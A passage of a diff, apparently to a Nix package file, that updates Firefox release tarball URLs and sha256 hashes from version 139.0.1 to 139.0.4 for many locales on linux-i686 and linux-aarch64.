-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lt/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lt/firefox-139.0.4.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "6f150cec31aa1d4ea131d82ede6fc21aefd32aeb89bd32bb4c6bd9d7f4ba32c1";
+      sha256 = "529e0dee5e1d763c6e55ddc84681b5184d2969acad240ff22a214c59ad01532d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lv/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lv/firefox-139.0.4.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "4628bd10b679995289f8ad75432befa2a520e1179ee8026ebd8ebafbaca48829";
+      sha256 = "71f092b9cec8e46243624b66e5b4b5a52a0b9986f0c3e14416c5d25a077e04c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/mk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mk/firefox-139.0.4.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "36d2e33f42684c1aea44e5ca4f492685e47aef64a2af10098fb61fdf22b53578";
+      sha256 = "04e73e2ebdae9de26fcbaf8571a41af32af4a3ca6d7ea3091471915ce20bdcc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/mr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mr/firefox-139.0.4.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "8934ad54fcf7d8828bb17a03503c7430b7b88748a92017d537211939c8682477";
+      sha256 = "324442e377367a7c0258e4fb40b6224dc2959529b8f1fed37538e45a20163595";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ms/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ms/firefox-139.0.4.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "396f8284f1a90464434f231e058c39045c64676580b179a9e4cdcf9212e4689b";
+      sha256 = "4b8e02849118a679336a2abdbfb042e7bd3224a1e9222446516d91d77832d71b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/my/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/my/firefox-139.0.4.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "edc1e440935ed92fa8e3e2be881e7bf5339afe619d79c57753479a7106b0bee0";
+      sha256 = "bda89eac6da7f59b3b2de2a1698f4383357e948686f9dc84998ec1d92a9652e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nb-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nb-NO/firefox-139.0.4.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "03eb234e0211ff8e2eac6d1f7319fa2db858043139106cfcb81f06c7a5f8a26f";
+      sha256 = "9988f3cf8dad6902fe2763d9b948583c8f82299d81cea3f65a676935c7f313f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ne-NP/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ne-NP/firefox-139.0.4.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "d4f5d53edd5271cdf58697f63d56911925d498cbfa1789dc7d9de98fb83c4ff6";
+      sha256 = "1b61eb98a83d23559b1fffaa7499e9e2b3f4fe2c2a0327ffb744120f5f80da52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nl/firefox-139.0.4.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "c9b2c2429732bd883e0dad9c4fb2bfee54058b00f0a2f85ea400c8f0bb0f1a3b";
+      sha256 = "f553b638e106ddc6049cf67f5634782ec6ae34f6bdbd246f81c82adc827e6c01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nn-NO/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nn-NO/firefox-139.0.4.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "1fe6d631f56a0c1f6026b10de4ffefa99ed9c9e394ec5f3dd1528b81dafd0a30";
+      sha256 = "86555515661c06fa00591bdb3423396269fe7a2e3ba4d73b4e1b8620eaa1f822";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/oc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/oc/firefox-139.0.4.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "953ae4c44b8913ffdeca0cf5de5fd40590f460f1706aeedc401edd312bba48b7";
+      sha256 = "f242548e87b0e92ef4fb0eb68d29addcc3f58b65df2b2fb5ad913273b3fe3d95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pa-IN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pa-IN/firefox-139.0.4.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "a98ef95a4415a79181f3a860e7a37785ee1ff4977011253e22e7062d64eca420";
+      sha256 = "9e72ef974c9f54f45bd21fd7cb9c6fe151dcfb34e28592a288e4b4015b32baf2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pl/firefox-139.0.4.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "8e9458bc036e05d0c4569c9c2933426569e4fa129c13f01283bf906bcb5c4acf";
+      sha256 = "6e34c07c6e49496f2a7432a208856ce79243922fd66ac2aa9ad52554edc8c23a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pt-BR/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-BR/firefox-139.0.4.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "f060702a00157656c64ad08124dfb327a32bc0d967c396e8145175cf5d09ee4c";
+      sha256 = "afa37290f28660747079c4bd2ab98dba5e457367b724403fd77519fb9c9f08f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pt-PT/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-PT/firefox-139.0.4.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "91a54ac0f051e2f7871c30e68a45e91bcd7327fe65703f9f37e637af66a85dd0";
+      sha256 = "814e3f6291e2069f7943f4b2346db6ec2a988d25e745fe22cd485d050c7b775e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/rm/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/rm/firefox-139.0.4.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "1545b211227ecf80561c9c46b4d5f6d00a67c17cf1502e35be328c14d20415e7";
+      sha256 = "48baf70deb72a311169ab36de965d533f8bcb3960c281337e2b37056cedd8789";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ro/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ro/firefox-139.0.4.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "2432683ff328cd57c655709ddf76b7c38ffb876ee94847d8160194b3767f8ac2";
+      sha256 = "b177ac8b560468584ccd25b3bb0fafe1e278cc7e8ae18802b6d5d7c657f233c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ru/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ru/firefox-139.0.4.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "41b16e8b5186afcf340cd2d6f332c13d6fd5bb57c476c072c1b7bcf234b5e35f";
+      sha256 = "d6dc4192564fde8408f898c817751c11e2cf68aa2e9844fad60ed91c9178cdef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sat/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sat/firefox-139.0.4.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "e05d553e082fab66311a2b70479696cdccbe3038cf53d67d86a6c15d81102678";
+      sha256 = "8eeb999dd5a933c38ea7d62fe3d5c2e10fd9d07847ad462e6f5507d099f762e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sc/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sc/firefox-139.0.4.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "5aca43e5138107247b60d0d04c7e8c88f77473877b1a058460536290a74902d7";
+      sha256 = "803635fd3702461becc8ab010ea0bda7d301d5c5cbc8392a5ab58dff56d8f445";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sco/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sco/firefox-139.0.4.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "a0f2e6523b683d2efb5b29eb8776297594e32233b4847216e182a8ab74b188ee";
+      sha256 = "140f73e91f87117102182ba5a3202732534079cefb1e4a2b6e2433bcb7715ceb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/si/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/si/firefox-139.0.4.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "25dc341d0ef50ed46d70e9979e34455218d782697f883be75d8bcd05450d85b1";
+      sha256 = "74295d3e36c89e63491c206aa35c7a997c7e27294da858945c278e1099af36e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sk/firefox-139.0.4.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "1196c08cd1e131e8e73a78ae0ad59271cfe9063f8ec02b4eb6d17992629c17ae";
+      sha256 = "1fcf471dcdeda8e54de423aa0a1a0a5b5749204e01614af653ffd2918e05c151";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/skr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/skr/firefox-139.0.4.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "748a7947bed46029a7459a6e6137e07e2b217a963821d5ee7211d068eb321b93";
+      sha256 = "42c02a2f60d103d2c9995997e10d633df030834bf7b4ce83d9727578cf7ff742";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sl/firefox-139.0.4.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "51c9823fd5f2c877cf8f14167724ac7f1c7be9cf0240ba76514ad24128652738";
+      sha256 = "3759a62cee67569c3d806ea5c0654b805b279fe1f73f0564bc37b2d670fdc864";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/son/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/son/firefox-139.0.4.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "eae73e669da7e69d495938b47819a8497b8ebea626418ed944e7cabdcf98952b";
+      sha256 = "5a42bf5cbceaba1110e6aeb4702a9e428a461c4279365718f9c97c9d05572f94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sq/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sq/firefox-139.0.4.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "4fbec57e180edc04ef83f06b8cf43116915e8be4813bce718c54bb13726b2fff";
+      sha256 = "8ad93b9be577f097c463159ce387734ff7f9eb36e0ed8f9fbbacc771fc868a94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sr/firefox-139.0.4.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "e193271c3de4ed28dfbc58d889f9375f213a78dd7c49689874a98daccf6931df";
+      sha256 = "e0995b485641a2eb03a200fb7d4f7f046b90c426d23d042d9c25b56ec2f295e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sv-SE/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sv-SE/firefox-139.0.4.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "8ed2575b7df656a3c7deae83ed74b86b88e14b6dc787fbfa25e4963af0b68e78";
+      sha256 = "a3520a6c77e8c67a76880bee35653d0445b18049a9ada355c71fbc56318bffaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/szl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/szl/firefox-139.0.4.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "8adbc52d048923d931fa5792942c879d6d76e46bd357d17729143e671bb05bab";
+      sha256 = "52cb80058bf8543f14a2202855d64e83dfc8993446de69e08e2bb8abb439b222";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ta/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ta/firefox-139.0.4.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "6bc69ca284aa3b2ab7f66447e7565919a93b5590b000295ac811f3b4ad26cd93";
+      sha256 = "7ac2507c436c6c4646be555e1e173d77563b55921242e203f4883c3cd67cd3c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/te/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/te/firefox-139.0.4.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "99b712bd9a62bc55fc6efff3ee257ed6ffc147c182a4202ee0dc65a894c1fafc";
+      sha256 = "9f2220954e02fed4a702783198a7abb2c4d6fd760faf6bfd0287ed12b4a6c453";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tg/firefox-139.0.4.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "6a0e0f494358cae01e54d5125d3b6ddfa79f13726b7a13f539027ef27f2a1808";
+      sha256 = "5f6cefd0b7aac491bcb9bba8fd1eeba47bdef89b98e779b85dc549bb6ecafda5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/th/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/th/firefox-139.0.4.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "6e535cff15670e7040e6994227315d6a791fd215f892ff462f20a0d1fe38f35e";
+      sha256 = "b1d1aa04e53a3999c0c62165aa40515edca0c7acc770bfa78134eeb553358ea8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tl/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tl/firefox-139.0.4.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "440d6d465ee995188f4559fb638e53fef952087b16d8a847c8ce84ee8e363ce4";
+      sha256 = "972ababdcd8d3dde44576161e02261e8cd78adeea818163e45c4b90f9bfcbb23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/tr/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tr/firefox-139.0.4.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "e9c65d648d6e1dcd0e5d349f98475ccb565c06c077f0b0da0ba0a5bd655ce4bb";
+      sha256 = "08801042b4a12f267c93d6d781ca269dc3b2e5caed8e86403a6cb43a3d4d5b3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/trs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/trs/firefox-139.0.4.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "2894b20c8c61052ca52e14849209a5efed4ca36c6f35d5be00b3306702de24c6";
+      sha256 = "c7c254cf94b2cd6207c2ad434b09072d36059fa0a4d2b8c41702f69895984b7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/uk/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uk/firefox-139.0.4.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "2be2c7d98a638877bd9d8700c7b06ba8403b1dc2eab9e63cf671025114d7959f";
+      sha256 = "1d341cbfad5acac7ebe73300178247e7015b7eae7e00071fbe19492cc3dfc8e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ur/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ur/firefox-139.0.4.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "42860a7bbaf5e8f4be7dbab22625f73dce0b501cfb2ed995ab53667c5e5c0743";
+      sha256 = "e51b2223a7cb2d88e07b2ed5c9b4d79867717c895d5774b122b8d6831e6c1be1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/uz/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uz/firefox-139.0.4.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "0c6e80d19d6de22ee0fefa5a86483e265b708bc4271dc7e94e0a56248335db89";
+      sha256 = "de64d9c4fdd89e7c9848240b75071f8ac19aa9e15d68206e255d35485c3a8737";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/vi/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/vi/firefox-139.0.4.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "7dfd8f9936d90c2b82969ebae647c35a414662952510a4659b8bd06343dccbb0";
+      sha256 = "847d66a816495a3b9aa5cdb55223d0f7e2f433dc1317e9f57ccac6f0e8b8672f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/xh/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/xh/firefox-139.0.4.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "bc7bff33b80b9eec5cf44fd4f23c74e6d48345e40b816ad8a3cab4e7a12334f3";
+      sha256 = "06c0b927c4f78c193c905ba6377ce7c73adca7d365c87ee956fb5da498dc2a59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/zh-CN/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-CN/firefox-139.0.4.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "69bad85e477b9641759b9bc56ad01a54ea471febd8fe272f3e4027fe099b236f";
+      sha256 = "85bfe68ecd852a836dbb5d50622236aa5bfa29440264f5ea1e34f602c6fbbeaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/zh-TW/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-TW/firefox-139.0.4.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "af02fb0db8bf10210c2dc78101e97916488d1e2311179df28293e95352c71cee";
+      sha256 = "2ffdaedc3ecaa4a1ff114a01de553820de01b5913f28cee6d414491b96f55145";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ach/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ach/firefox-139.0.4.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "6ff00d32f83bee69a6d128a19581a75f0a3f8e19b35c17178d179d322f2b26c1";
+      sha256 = "721ac1aa1a9b026395e091fd8e1301ca0a39b73927da73854f2eab4162ade513";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/af/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/af/firefox-139.0.4.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "3f127ecce788609ff39e81835247f911187c91dbc79df748229387691dbe93dc";
+      sha256 = "aa5fb1e9e707df84d1429c9e142cf1f2055f34da3f16637d96e6df251288e291";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/an/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/an/firefox-139.0.4.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "35ecdda6dedb3a415e595ff5bc90f8938ca9784a5e57037162fea56e04b752c9";
+      sha256 = "d81540e5421ffec2d304aa170c18312587299de64c31bfcd702bb47fbe3632b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ar/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ar/firefox-139.0.4.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "a1eadf0c9911a06c50262249abb1ff3038d521dd6b55f610875e69c50c3d427d";
+      sha256 = "c450168bf703e95ff56eefbd74e8c46d05ddda4d2bd305540a8849958a6283d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ast/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ast/firefox-139.0.4.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "7228dc43d8a695948b5a0d867aee0615882e5e58fa55d9fc756955abc5c68062";
+      sha256 = "02e2382dc6c35cd06385ab7c3c3c3c73cebe9ce7e25047911d9503a77f7d4ac4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/az/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/az/firefox-139.0.4.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "b0a65d238d235deceba64cb2be8c8c37627751740e12fc32327f3f96f67fb45b";
+      sha256 = "a9eb519fb77528ab492d01b8d121553ebf25d4ed20fe05b4b6592fbef1d7c7a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/be/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/be/firefox-139.0.4.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "148cec26cd0d54728071f63b04a8aca191b7c342708b5a03c50b1f67ef2ceab9";
+      sha256 = "e9a41ec7d9a082935d6f2a60344e1d7c04c18771ee5d64988f862bb2be55b783";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bg/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bg/firefox-139.0.4.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "dbc1cf3f97099ccab859d7c7a3d7b8a88e99aa800605fcbe713d4a12265647b9";
+      sha256 = "d494965d72a0fcc08e5ef743dc3fd24c1ab1c9a204ad1a080069e2bc65024b09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bn/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bn/firefox-139.0.4.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "c68193081a4d93423230cbfb2d6f57578a5d2860f41592d6da888ce0a2974c9f";
+      sha256 = "1268bfb3ea7c9d44bc7b4a905d1d9547045bb405b89a7e95fa855ac6c4818690";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/br/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/br/firefox-139.0.4.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "05a21ba4ad69d64535b07bb42f8c593a0ffe9bec30804edc38267be29bc96ff3";
+      sha256 = "46d998f97d1d61a03fdfaa0af5c882d8ed376eefa2a843323e538aff1f61e005";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/bs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/bs/firefox-139.0.4.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "d59f287f4cc86e275ea11564cb6701e926710c3d8fc7a44e9203a802057ffbfd";
+      sha256 = "9e4d2eb785ecdd8032a8db6f4c6dc728ba5f66f39ecd80951ab5b62c70aade72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ca-valencia/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca-valencia/firefox-139.0.4.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "89870c24456d8a14af42b09141174d9e927fe9d3537aaf1b38ecfb93ca20567b";
+      sha256 = "ba707f4d818ec61c6ff7bf12ae1955b322a0b849d4bc9ebd43f6cf722fab7c4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/ca/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ca/firefox-139.0.4.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "35c7fe91fda71c2d0e047a14018db83fa0cb010f40f62defa63767e8e471fcdc";
+      sha256 = "27537f26f75f8a5569f5be5e660183370a37196c679ed2a30a98a10ed4f35433";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cak/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cak/firefox-139.0.4.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "fd444ede91a95bfe02c17a559061c39c2fb46b7b042ade8d4863c384d945d3ee";
+      sha256 = "15c59a9a1c580363e55d7bd0849e6c4ed1edf0dba06ea4752d9d183816a5f9f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cs/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cs/firefox-139.0.4.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "1c02b82baf751296427a9f317262825f8ea72ab82485dfea30d055bcb6598ccf";
+      sha256 = "a48b8edf3dfc26177f62e67eae803b33ec1d682de8e47610ba738cecda6b7d67";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-aarch64/cy/firefox-139.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/cy/firefox-139.0.4.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
